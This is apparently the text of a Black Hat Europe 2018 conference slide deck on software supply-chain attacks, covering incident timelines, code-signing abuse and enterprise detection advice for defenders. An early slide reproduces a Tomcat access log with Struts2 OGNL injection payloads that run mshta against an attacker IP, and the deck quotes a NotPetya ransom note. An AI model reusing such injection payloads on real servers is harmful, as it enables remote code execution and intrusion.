

# **Broken Links: Emergence and Future of Software Supply Chain Compromises**

Ryan Kazanciyan - Chief Product Officer, Tanium

**Black Hat Europe 2018**

**December 6, 2018**



**Alexandria, VA**






2004 - 2009



2009 - 2015



2015 - Present



### **Investigating PowerShell Attacks**

Ryan Kazanciyan, Matt Hastings

**Black Hat USA 2014**

### DSCCompromised: A Windows DSC Attack Framework

Black Hat Asia 2016

Matt Hastings, Ryan Kazanciyan

## Technical Consultant, S2 & S3



Apache Struts 2 Documentation  
rg/docs/s2-016.html

Tomcat Web Application Manager  
https://www.ecoin.services/manager

```
ecoinweb11_access_log.2015-09-18.txt (/var/log/tomcat7) - VIM
192.251.68.224 - tomcatadmin [18/Sep/2015:08:39:26 -0400] "GET
/manager/html HTTP/1.1" 200 12400
192.251.68.224 - tomcatadmin [18/Sep/2015:08:39:26 -0400] "POST
/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=583DE3BFCF
72CE438A7157DAF1C06813 HTTP/1.1" 200 14192
192.251.68.224 - - [18/Sep/2015:08:39:26 -0400] "GET /struts2-blank/
HTTP/1.1" 200 202
192.251.68.224 - - [18/Sep/2015:08:39:26 -0400] "GET /struts2-
blank/example/HelloWorld.action HTTP/1.1" 200 532
192.251.68.224 - - [18/Sep/2015:08:39:26 -0400] "GET /struts2-
blank/example/HelloWorld.action?redirect=%24{{new%20java.io.File('.')
getCanonicalPath().concat('NwYGJa')}} HTTP/1.1" 302 -
192.251.68.224 - - [18/Sep/2015:08:39:26 -0400] "GET /struts2-
blank/example/HelloWorld.action?redirect=%24{{new+java.lang.ProcessBui
lder(new+java.lang.String[]({'mshta',new%20java.lang.String('http://n192
.251.68.224').replace('n','\u002f')}}).start()}} HTTP/1.1" 302 -
192.251.68.224 - - [18/Sep/2015:08:39:26 -0400] "GET /struts2-
blank/example/HelloWorld.action?redirect=%24{{new%20java.lang.ProcessB
uilder(new%20java.lang.String('$tmpSLWzHKDAlYy').replace('$','\u002f'
')).start()}} HTTP/1.1" 302 -
```

```
File Edit View Search Terminal Help
root@kali:~/tools# radare2 -s 0x32c24 -w apc_hw05_aos_640.bin
WARNING: bin_strings buffer is too big (0x002d6300)
[0x00032c24]> pd 16
   0x00032c24   bfeb90a00    mov edi, 0xab9ef
-> 0x00032c29   8bc1        mov eax, ecx
   0x00032c2b   49          dec ecx
   0x00032c2c   0bc0        or eax, eax
=< 0x00032c2e   75f9        jne 0x32c29
   0x00032c30   f6460640    test byte [esi + 6], 0x40
=> 0x00032c34   7409        je 0x32c3f
   0x00032c36   ba7a ffe80    mov edx, 0x80edff7a
   0x00032c3b   cc         int3
   0x00032c3c   80eb07     sub bl, 7
-<< 0x00032c3f   ba7a ffe80    mov edx, 0x80edff7a
   0x00032c44   e47f7f     in al, 0x7f
   0x00032c46   ba7a ffe90    mov edx, 0x90efff7a
   0x00032c4b   90         nop
   0x00032c4c   90         nop
   0x00032c4d   90         nop
[0x00032c24]> s 0x00032c34
```

IDA Pro - C:\apc\_hw05\_aos640\_sumx640\_bootmon100\FW\_Upgrade.idb

Assembly code in IDA View-A:

```
loc_409280:
push ecx
push eax
lea ecx, [ebp+1pText]
call sub_408370
push 32h
push offset aSignatureCheck ; "signature check failed, update halted"...
lea ecx, [ebp+1pText]
call sub_408370
mov eax, [ebp+1pText]
push 10h ; uType
push offset aError_1 ; "Error"
push eax ; lpText
push 0 ; hWnd
call ds:MessageBox@8
lea eax, [esi-10h]
mov byte ptr [ebp+var_4], 6Ah
lea ecx, [eax+0Ch]
```

The interface also shows a flowchart, a names window, and a strings window.

# **Software supply-chain attacks**

## **a brief timeline**



STOR/FILE™ 799™  
TV DVDs R-2  
BANKERS BOX®


STOR/FILE™ 799™  
DVDs - #  
BANKERS BOX®

STOR/FILE™ 799™  
DVDs A-G  
BANKERS BOX®

STOR/FILE™ 799™  
BANKERS BOX®

STOR/FILE™ 799™  
TV DVDs A-D  
BANKERS BOX®

STOR/FILE™ 799™  
CD Cases  
BANKERS BOX®



# HandBrake hacked to drop new variant of Proton malware

Posted: May 8, 2017 by [Thomas Reed](#)





Технічна підтримка +380 44 206 72 10  
Відділ продажів +380 44 206 72 15  
Виїзд спеціаліста +380 44 206 72 39

[ПРО НАС](#) [ПРИДБАТИ](#) [ПАРТНЕРСЬКА МЕРЕЖА](#) [НОВИНИ](#) [КОНТАКТИ](#)



Дистрибутив  
10.01.199



Оновлення  
10.01.201




Завантажити  
інструкцію



Гарячі  
питання



Отримати код  
доступу



# Вийшло оновлення

# 10.01.201

[Детальніше](#)

Oops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don't waste your time. Nobody can recover your files without our decryption service.


We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.


Please follow the instructions:

1. Send \$300 worth of Bitcoin to following address :

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWx

2. Send your Bitcoin wallet ID and personal installation key to e-mail  
wowsmith123456@posteo.net . Your personal installation key:





SimDisk

Altair  
EvLog

Transmission

Ask.com  
Partner Network

HandBrake

2013

2015

2016

2017

2018

2019


GOM Media  
Player


Mint  
Linux


Classic Shell  
& Audacity


UltraEdit  
"Wily  
Supply"

MeDoc















...and these are just a subset of  
supply-chain attacks...



Enterprise Software




End-user Software



Development Toolchain




SaaS and Service Providers



Hardware and Firmware




Data Providers



Enterprise Software





End-user Software




Development Toolchain



SaaS and Service



Hardware and Firmware




Data Providers

**What's driving these attacks?**  
**(despite their relative difficulty)**

# Internet Explorer 8 Zero Day Exploit Targeted Nuclear Workers

*A new zero-day in IE 8 has been found in the wild infecting the Department of Labor (DoL) Website, last week.*



By Max Eddy May 6, 2013 11:32AM EST

## Chinese Hackers Target Forbes.com in Watering Hole Attack

The attack was short but targeted certain individuals

Feb 11, 2015 15:15 GMT · By Ionut Ilascu  · Share:    

## Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”

Emissary Panda group penetrated the networks of industrial espionage targets.

SEAN GALLAGHER - 8/5/2015, 3:00 PM

[Main Stats](#)
[VDS](#)
[Proxy](#)
[Settings](#)
[Users](#)
[Exit](#)


# Statistics

## Overview

Downloads	Exploits
1057591	397512

## Countries

Option	Value
BR	949728

Начало:

Конец:



Автообновление: 5 с

### СТАТИСТИКА


ЗА ВЕСЬ ПЕРИОД

# 10.32%

**13289** ХИТЫ 
**11506** ХОСТЫ 
**1187** ЗАГРУЗКИ 
ПРОБИВ


ЗА СЕГОДНЯ

# 11.55%

**3013** ХИТЫ 
**2760** ХОСТЫ 
**300** ЗАГРУЗКИ 
ПРОБИВ


### ПОТОКИ

DENIS &gt;

ХИТЫ ↑	ХОСТЫ	ЗАГРУЗКИ	%
13285	11505	1187	10.32
4	3	1	0.00

default &gt;

### БРАУЗЕРЫ

Chrome &gt;

ХИТЫ	ХОСТЫ	ЗАГРУЗКИ	% ↑
2273	2148	485	22.58


### ЭКСПЛОИТЫ

- [Java X >](#)
- [Java SMB >](#)
- [PDF >](#)
- [Java DES >](#)
- [MDAC >](#)

### СТРАНЫ

- [United States](#)
- [Brazil](#)
- [India](#)
- [Japan](#)
- [Mexico](#)
- [Argentina](#)
- [Bulgaria](#)

# Browser Family Monthly Usage Share




<https://www.w3counter.com/trends>



# DEVICES USING ADBLOCK SOFTWARE ON THE OPEN WEB

(Apr 2009 - Dec 2016)

DESKTOP BROWSERS MOBILE BROWSERS



<sup>†</sup>PageFair's estimate of adblock usage on mobile browsers was updated in November 2016 in its revised Mobile Adblocking Report





# Roll-out plan for HTML5 by Default

Friday, December 9, 2016



## Moving to a Plugin-Free Web

By: [Dalibor Topic](#) | Principal Product Manager




FLASH & THE FUTURE OF INTERACTIVE CONTENT  
POSTED BY [ADOBE CORPORATE COMMUNICATIONS](#) ON JULY 25, 2017



## Next Steps for Legacy Plug-ins


Jun 14, 2016 by [Ricky Mondello](#) @rmondello

# Hits for Rig EK January 2017 through January 2018



<https://researchcenter.paloaltonetworks.com/2018/02/threat-brief-declining-rig-exploit-kit-hops-coinmining-bandwagon/>

# New Exploit Kits Observed by Year



<https://go.recordedfuture.com/hubfs/reports/cta-2018-0327.pdf>

How have attackers adapted?

Суть Событий

Наши ленты:  
#Главная #Вся #ЖЕЛТАЯ

23.10 18:41 # ЕленаСкрынник, ДмитрийБелоносов  
В соцсетях обсуждают снимок гламурного мужа бывшего министра Елены Скрынник

23.10 18:26 # Марьянов  
Глава рецентра впервые рассказала, как Марьянов провел у нее свои последние дни

#ГЛАВНАЯ #НАШИ ПУБЛИКАЦИИ #ЗДОРОВЬЕ #КУЛЬТУРА #ШОУБИЗ #ЖЕЛТЫЙ РАЗДЕЛ #ТЕХНО #ТУРИЗМ #НАУКА #ТАТАРСТАН #ОПРОСЫ

ПОИСК ПО САЙТУ

Хирург назвал все операции, которые преобразили Юлию Рутберг до неузнаваемости

Адвокат рассказал, сколько квартир теперь принадлежит молодой жене

Бывшая жена Марата Башарова унизила известную певицу на показе модной коллекции

Молодая жена Ивана Краско назвала жизнь с ним "нищевродством"


Чтобы помириться, нужно поссорить!  
detective1997.ru  
Поссорим Вашего близкого человека, для того чтобы Вы смогли с ним помириться.


Как поху без диет  
silavoli  
Стройное

**An update to Adobe® Flash® Player is available.**  
This update includes improvements in usability, online security and stability, as well as new features which help content developers deliver rich and engaging experiences.  
Did you know...  
• The top 10 Facebook  
• Most of the top  
• Flash Player  
Note: If you have selected to allow Adobe to install update, this update will be installed on your system automatically.

REMIND LATER INSTALL

<https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/>







# CCleaner Free v4.16.4763 (64-bit)

MS Windows 8 64-bit  
Intel Core i7-3770T CPU @ 2.50GHz, 6.0GB RAM, NVIDIA GeForce 610



Cleaner



Registry



Tools



Options

Windows Applications

- Internet Explorer**
  - Temporary Internet Files
  - History
  - Cookies
  - Recently Typed URLs
  - Index.dat files
  - Last Download Location
  - Autocomplete Form History
  - Saved Passwords
- Windows Explorer**
  - Recent Documents
  - Run (in Start Menu)
  - Other Explorer MRUs
  - Thumbnail Cache
  - Taskbar Jump Lists
  - Network Passwords
- System**
  - Empty Recycle Bin
  - Temporary Files
  - Clipboard
  - Memory Dumps

100%

ANALYSIS COMPLETE - (16.863 secs)

---

99,975 MB to be removed. (Approximate size)

---

Details of files to be deleted (Note: No files have been deleted yet)

---

Internet Explorer - Temporary Internet Files	65,191 KB	1,48
Internet Explorer - History	452 KB	
Internet Explorer - Cookies	20 KB	6
Windows Explorer - Recent Documents	121 KB	10
Windows Explorer - Thumbnail Cache	2,049 KB	
System - Empty Recycle Bin	15,744 KB	6
System - Temporary Files	101,735,816 KB	51
System - Memory Dumps	59,983 KB	1
System - Windows Log Files	2,641 KB	1
Firefox - Internet Cache	21 KB	5
Safari - Internet Cache	83,633 KB	

Analyze

Run Cleaner




**Why we're vulnerable**

**challenges with prevention & detection**

**Subverting our trust mechanisms**

# Attacks that delivered signed malware



\* Signed with a different certificate than the original developer

# Report: Eastern European gang hacked Apple, Facebook, Twitter

By Doug Gross, CNN

Updated 12:19 PM ET, Wed February 20, 2013



#CYBER RISK OCTOBER 17, 2017 / 1:06 AM / 21 DAYS AGO

## Exclusive: Microsoft responded quietly after detecting secret database hack in 2013

Joseph Menn

8 MIN READ



(Reuters) - Microsoft Corp's secret internal database for tracking bugs in its own software was broken into by a highly sophisticated hacking group more than four years ago, according



BIZ & IT TECH SCIENCE POLICY CARS GAMING & CULTURE FORUMS

HERE THERE BE DRAGONS —

## Facebook, Twitter, Apple hack sprung from iPhone developer forum

The site, [iphonedevsdk.com](http://iphonedevsdk.com), could still be hosting exploit attacks.

SEAN GALLAGHER - 2/19/2013, 4:52 PM

# Certified Malware: Measuring Breaches of Trust in the Windows Code-Signing PKI

Doowon Kim  
University of Maryland  
College Park, MD  
doowon@cs.umd.edu

Bum Jun Kwon  
University of Maryland  
College Park, MD  
bkwon@umd.edu

Tudor Dumitraş  
University of Maryland  
College Park, MD  
tdumitra@umiacs.umd.edu

<http://signedmalware.org/>

**189** signed malware samples

**111** certificates

**72** compromised certs

**80%** not revoked

## Issued for Abuse: Measuring the Underground Trade in Code Signing Certificates

Kristián Kozák  
Masaryk University  
*kkozak@mail.muni.cz*

Bum Jun Kwon  
University of Maryland  
*bkwon@umd.edu*


Doowon Kim  
University of Maryland  
*doowon@cs.umd.edu*

Christopher Gates  
Symantec  
*chris\_gates@symantec.com*

Tudor Dumitraş  
University of Maryland  
*tdumitra@umiacs.umd.edu*

wild. Using these methods, we document a shift in the methods that malware authors employ to obtain valid digital signatures. While prior studies have reported the use of code–signing certificates that had been compromised or obtained directly from legitimate Certification Authorities, we observe that, in 2017, these methods have become secondary to purchasing certificates from underground vendors. We also find that the need to bypass platform protections such as Microsoft Defender SmartScreen plays a growing role in driving the demand for Authenticode certificates. Together, these findings suggest that the trade in certificates issued for abuse represents an emerging segment of the underground economy.

Software diversity  
== risk



How many endpoint agents are deployed in a typical enterprise?



32%


six to ten  
endpoint agents

27%


ten or more  
endpoint agents

What is the ratio of endpoints to unique versions of installed user applications?


## Small networks (<100k endpoints)




5-7 x # of endpoints



## Large networks (>100k endpoints)



1-3 x # of endpoints



\* Measured by total unique instances of installed application versions

**230,000** systems

**400,000** unique

application + version pairs

How do security teams cope?

Windows Defender Security Center

# Exclusions

Add or remove items that you want to exclude from Windows Defender Antivirus scans.

**+ Add an exclusion**

- Program Files  
Folder
- Program Files (x86)  
Folder

Local Security Policy

File Action View Help

Action	User	Name	Condition	Exce
Allow	Everyone	Program Files: VMWARE TOOLS signed by O=VMWARE, INC., L=PALO ALTO, S=...	Publisher	
Allow	Everyone	Program Files: MICROSOFT VISUAL C++ 2012 REDISTRIBUTABLE (X64) - 11.0.610...	Publisher	
Allow	Everyone	Program Files: NODE.JS signed by O=NODE.JS FOUNDATION, L=SAN FRANCISC...	Publisher	
Allow	Everyone	Program Files: MICROSOFT SQL SERVER signed by O=MICROSOFT CORPORATI...	Publisher	
Allow	Everyone	Program Files: MICROSOFT VISUAL STUDIO 2008 REMOTE DEBUGGER CD - ENU ...	Publisher	
Allow	Everyone	Program Files: INTERNET EXPLORER signed by O=MICROSOFT CORPORATION, ...	Publisher	
Allow	Everyone	Program Files (x86): MICROSOFT® WINDOWS® OPERATING SYSTEM signed by ...	Publisher	
Allow	Everyone	Program Files (x86): MICROSOFT VISUAL C++ 2012 REDISTRIBUTABLE (X86) - 11....	Publisher	
Allow	Everyone	Program Files (x86): JAVA(TM) PLATFORM SE 9 signed by O=ORACLE AMERICA,...	Publisher	
Allow	Everyone	Program Files (x86): MICROSOFT SQL SERVER signed by O=MICROSOFT CORPO...	Publisher	
Allow	Everyone	Program Files (x86): INTERNET EXPLORER signed by O=MICROSOFT CORPORAT...	Publisher	
Allow	Everyone	Program Files (x86): GOOGLE UPDATE signed by O=GOOGLE INC, L=MOUNTAI...	Publisher	
Allow	Everyone	Program Files (x86): GOOGLE CHROME signed by O=GOOGLE INC, L=MOUNTAI...	Publisher	
Allow	Everyone	Program Files (x86): CISCO ANYCONNECT SECURE MOBILITY CLIENT signed by ...	Publisher	



Question: Get AutoRun Program Details from all machines with Operating System containing "windows"



See this question (Copy to Question Builder)

308 (1,087 total)

Filter by Computer Group: Contains Filter by Text

Live Updates: Off (97% (100% available))

Entry	Category	Description	Publisher	Image Path	Version	MD5 Hash	Count
adpahci	Drivers	Adaptec Windows SATA Storport C	Adaptec, Inc.	c:\windows\system32\drivers\adpahci	1.6.6.1	003786C2780509FF5A803788E	171
adpu320	Drivers	Adaptec StorPort Ultra320 SCSI Di	Adaptec, Inc.	c:\windows\system32\drivers\adpu320	7.2.0.0	7C786E487882C8331FE23A1	171
alide	Drivers	ALI mini DE Driver	Acer Laboratories Inc.	c:\windows\system32\drivers\alide	1.2.0.0	0D408CF3E5A80CF0F2FAE865C	171
adp94xx	Drivers	Adaptec Windows SAS/SATA Stor	Adaptec, Inc.	c:\windows\system32\drivers\adp94xx	1.6.6.4	21E78E8E07D080A0891141AC	171
amdada	Drivers	AHCI 1.2 Device Driver	Advanced Micro Devices	c:\windows\system32\drivers\amdada	1.1.2.5	E7F4D4D8078E026821715C011	171
ahci7xx	Drivers	Adaptec Ultra SCSI miniport	Adaptec, Inc.	c:\windows\system32\drivers\ahci7xx	6.0.0.0	8B3020C247A8F84820219E18C	171
amdbda	Drivers	AMD Technology AHCI Compatibl	AMD Technologies Inc.	c:\windows\system32\drivers\amdbda	3.8.1540.127	E43A74C0423FF787874E743E	170
arhoda	Drivers	Storage Filter Driver	Advanced Micro Devices	c:\windows\system32\drivers\arhoda	1.1.2.5	146480D2808FDC3F8A86C39471	171
arcasas	Drivers	Adaptec SAS RAID WS03 Driver	Adaptec, Inc.	c:\windows\system32\drivers\arcasas	5.2.0.16119	5D6F38C48FD283AE18576C029F	169



# **Trends and patterns** **attacks in the past year**



# Emergence of cryptocurrency payloads



Joël Perras

@jperras

Follow

A firewall exploited to install a docker container that spawns a BTC miner to steal CPU. What a time to be alive.




[dockmylife/memorytest] Report malicious image · Issue #1...

Hi all I would like to report this malicious image:  
<https://hub.docker.com/r/dockmylife/memorytest/> It contains a miner for Monero. This got deployed on one of our servers which...  
[github.com](https://github.com)

7:11 AM - 7 Aug 2017

12 Retweets 15 Likes







**~8 million downloads**



**5 million downloads of 17 infected images**



**1.2 million extension users exposed**



**statcounter**

**700,000 web sites exposed**



**MediaGet**


**400,000 users infected**



**12,000 users infected**




**5 million downloads of 17 infected images**




**~\$90,000 (545 Monero coins)**

What about more “targeted”,  
strategic compromises?



# Challenges with timely detection and response

# Initial compromise to resolution





↑ **gattacus**  56 points · 3 months ago · *edited 3 months ago*

↓ There was an update to the extension and Chrome asked for new permission (read data on all websites). That made me suspicious and I checked the extension code locally (which is mostly javascript anyways). MEGA also has the source code of the extension on github <https://github.com/meganz/chrome-extension> There was no commit recently. To me it looks either their Google Webstore account was hacked or someone inside MEGA did this. pure speculation though

 Reply  Share  Report  Save  Give Award

# Missing git tags and releases #113

**Closed** XhmikosR opened this issue on Sep 17 · 4 comments



XhmikosR commented on Sep 17

The latest git tag/release is 3.0.5. Currently there's no changelog and not having the tags makes it even harder to see what's changed between releases.



NewEraCracker commented 14 days ago

I'm using version 3.3.6 of this module. flatmap-stream was added by this commit:

[e316336](#)

The new updates to the package on npm are very suspicious.

0.1.0: <https://registry.npmjs.org/flatmap-stream/-/flatmap-stream-0.1.0.tgz>

0.1.1: <https://registry.npmjs.org/flatmap-stream/-/flatmap-stream-0.1.1.tgz>

0.1.2: <https://registry.npmjs.org/flatmap-stream/-/flatmap-stream-0.1.2.tgz>

# Deprecation warning at start #1442

**Closed** jaydenseric opened this issue on Oct 29 · 10 comments



jaydenseric commented on Oct 29

The latest version of Nodemon on the latest version of Node.js causes a deprecation warning to be logged when starting.

This relates to Nodemon and not my start script, because when I run `npm start` directly (not via Nodemon) no deprecation warning is logged.

# Dodging Bullets

# Gathering weak npm credentials

*Or how I obtained direct publish access to 14% of npm packages (including popular ones).  
The estimated number of packages potentially reachable through dependency chains is 54%.*

<https://github.com/ChALkeR/notes/blob/master/Gathering-weak-npm-credentials.md>

**15,495** accounts  
(July 2017)



Eric Holmes

Follow

Operations Engineer at Remind

Aug 7 · 4 min read

# How I gained commit access to Homebrew in 30 minutes

*This issue was publicly disclosed on the Homebrew blog at <https://brew.sh/2018/08/05/security-incident-disclosure/>*

I had direct commit access to the Homebrew/homebrew-core repo. At the time, this repo did not have a protected `master` branch, meaning I would have been able to make a fast-forward change to `refs/heads/master`. Anyone that freshly installed Homebrew, or ran `brew update` would have my malicious formulae.

If I can gain access to commit in 30 minutes, what could a nation state with dedicated resources achieve against a team of 17 volunteers? How many private company networks could be accessed? How many of these could be

**How to respond**

**practical mitigations for enterprises**



Enterprise Software





End-user Software




Development Toolchain



SaaS and Service



Hardware and Firmware



Data Providers



**Assessing your visibility**

# What

- EDR telemetry
- On-disk program files & dependencies
- Normalized application inventory



## What

- EDR telemetry
- On-disk program files & dependencies
- Normalized application inventory

## Where

- Endpoint coverage (device types, operating systems, organizational units)
- Which teams have access to which data?



## What

- EDR telemetry
- On-disk program files & dependencies
- Normalized application inventory

## Where

- Endpoint coverage (device types, operating systems, organizational units)
- Which teams have access to which data?

## When

- How current is the data?
- How far back does the data go?
- How quickly can you search it?



# Managing endpoint software


# Trending and minimizing application sprawl over time

Oct 1st - Oct 28th

This quarter

- Adobe AIR
- Adobe Flash Player 1...
- Microsoft OneDrive
- Adobe Reader X (10.1...
- Java(TM) 7 Update 5
- Microsoft SQL Server...
- Google Chrome
- Adobe Flash Player 1...
- Tanium Client 6.0.31...
- Adobe Reader XI (11...
- Microsoft Help Viewe...
- Microsoft SQL Server...
- Mozilla Maintenance ...
- QuickTime
- Adobe Flash Player 1...
- Dropbox
- Microsoft Project Pr...
- Microsoft Silverligh...
- VMware Tools
- Tanium Client 6.0.31...
- Adobe Reader 9
- Java 8 Update 5
- Microsoft System CLR...
- Adobe Flash Player 1...
- Mozilla Firefox 7.0 ...
- Adobe Reader 9.3
- Java(TM) 6 Update 27
- Microsoft Report Vie...
- Microsoft VSS Writer...
- Adobe Flash Player 1...
- Sublime Text Build 3...
- Adobe Reader 9.5.0
- Java(TM) 7 Update 2
- Microsoft SQL Server...
- Microsoft Visio Prof...

Panel Settings





# Controlling end-user software distribution

The screenshot shows a software management application window titled "Catalog" from "Company Inc.". The interface includes a navigation bar with "Dashboard", "Catalog", "History", and "Activity" tabs, and a search bar. Below the navigation, there are filters for "Vendor", "Category", "Operation Type", and "Date Added". The main area displays a grid of software items, each with an icon, name, version, estimated installation time, and a button to manage the software.

Software Name	Version	Estimated Time	Notes	Action
Mozilla Firefox 64-bit	61.0.2	10 min (max)		Update
Microsoft Office 365	9126.2275	35 min (max)	Restart required	Update
Developer Software Baseline		1 hr 25 min (max)	Restart required	Run
Microsoft Visual Studio Code	1.22.2	5 min (max)		Install
Adobe Reader XI	11.0.23			Uninstall
Zoom client	4.14.24430			
Evernote Enterprise Client				
Microsoft Visio 2016 Professional				
Slack	3.3.1			
Windows 10 1803 Upgrade				

# Establishing inventory and control over browser extensions



<https://medium.com/@rootsecdev/controlling-google-chrome-web-extensions-for-the-enterprise-7414bf8cc326>

<https://specopssoft.com/blog/using-firefox-enterprise-gpos-enable-windows-integrated-authentication-specops-websites/>




Catching post-compromise activity

# ATT&CK Matrix for Enterprise

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Drive-by Compromise	AppleScript	.bash_profile and .bashrc	Access Token Manipulation	Access Token Manipulation	Account Manipulation	Account Discovery	AppleScript	Audio Capture	Automated Exfiltration	Commonly Used Port
Exploit Public-Facing Application	CMSTP	Accessibility Features	Accessibility Features	BITS Jobs	Bash History	Application Window Discovery	Application Deployment Software	Automated Collection	Data Compressed	Communication Through Removable Media
Hardware Additions	Command-Line Interface	Account Manipulation	AppCert DLLs	Binary Padding	Brute Force	Browser Bookmark Discovery	Distributed Component Object Model	Clipboard Data	Data Encrypted	Connection Proxy
Replication Through Removable Media	Compiled HTML File	AppCert DLLs	AppInit DLLs	Bypass User Account Control	Credential Dumping	File and Directory Discovery	Exploitation of Remote Services	Data Staged	Data Transfer Size Limits	Custom Command and Control Protocol
Spearphishing	Control Panel	AppInit DLLs	Application	CMSTP	Credentials in	Network	Logon	Data from	Exfiltration	Custom

# Attackers still need to expand beyond an initial compromise

- Second-stage malware
- Persistence mechanisms
- Credential theft
- Lateral movement
- Data gathering



**Testing your processes**



**Tabletop Scenarios**

@badthingsdaily

Following



Malicious code will be distributed to your endpoints during the routine update of a signed application.

Happy Monday.

11:03 AM - 18 Sep 2017

123 Retweets 352 Likes



7 123 352



**Tabletop Scenarios**

@badthingsdaily

Following



A popular chrome extension was sold to another developer last month. This month, it was sold again to a malicious developer.

9:46 AM - 17 Oct 2017

49 Retweets 87 Likes



7 49 87

# **Future attacks** **and wild speculation**



Enterprise Software





End-user Software



Development Toolchain



SaaS and Service Providers




Hardware and Firmware



Data Providers

# Venture Funding Into US Artificial Intelligence, Machine Learning, And Related Startups

2008 through 2017. Dollar volume based on deals of known size; round counts are for all deals.



crunchbase news



Where will these startups get their training data or learning models?

How will they be protected?



# Are You Tampering With My Data?

Michele Alberti<sup>1\*</sup>, Vinaychandran Pondenkandath<sup>1\*</sup>, Marcel Würsch<sup>1</sup>,  
Manuel Bouillon<sup>1</sup>, Mathias Seuret<sup>1</sup>, Rolf Ingold<sup>1</sup>, and Marcus Liwicki<sup>2</sup>

demonstrate on two widely used datasets (CIFAR-10 and SVHN) that a universal modification of just one pixel per image for all the images of a class in the training set is enough to corrupt the training procedure of several state-of-the-art deep neural networks causing the networks to misclassify any images to which the modification is applied. Our aim is to bring to the attention of the machine learning community, the possibility that even learning-based methods that are personally trained on public datasets can be subject to attacks by a skillful adversary.



(a) Original

(b) Tampered

(c) Original

(d) Tampered

	Train Set	Val Set	Test Set	
Tampered Class	Plane	Plane	Frog	
Expected Output	Plane	Plane	Plane	Not Plane

**Closing thoughts**

**putting things in perspective**

It's always fun to talk about the omnipotent and omniscient hackers, and the super-sneaky espionage attacks they can perform. But, for most people and enterprises, the biggest risks remain:

- not keeping software up to date
- poor network configuration management
- poor credential management

Most of the incidents that have caused actual harm to the UK have been caused by one of these problems. In general, we should concentrate on getting those fixed before worrying about really clever and risky supply chain interdictions from other states.

--Ian Levy, Technical Director, NCSC

<https://www.ncsc.gov.uk/blog-post/managing-supply-chain-risk-cloud-enabled-products>

- Software supply-chain attacks are just another means of initial compromise - the same foundational principles for detection, containment, and response still apply

- Software supply-chain attacks are just another means of initial compromise - the same foundational principles for detection, containment, and response still apply
- Ensure you have a complete, timely, and accurate record of all software on all your computing devices - then drive towards stronger governance over it

- Software supply-chain attacks are just another means of initial compromise - the same foundational principles for detection, containment, and response still apply
- Ensure you have a complete, timely, and accurate record of all software on all your computing devices - then drive towards stronger governance over it
- Challenge your enterprise software vendors to attest to their investment and attention to supply-chain risk



# Thank you!

[ryankaz@gmail.com](mailto:ryankaz@gmail.com)

 @ryankaz42

<https://speakerdeck.com/ryankaz>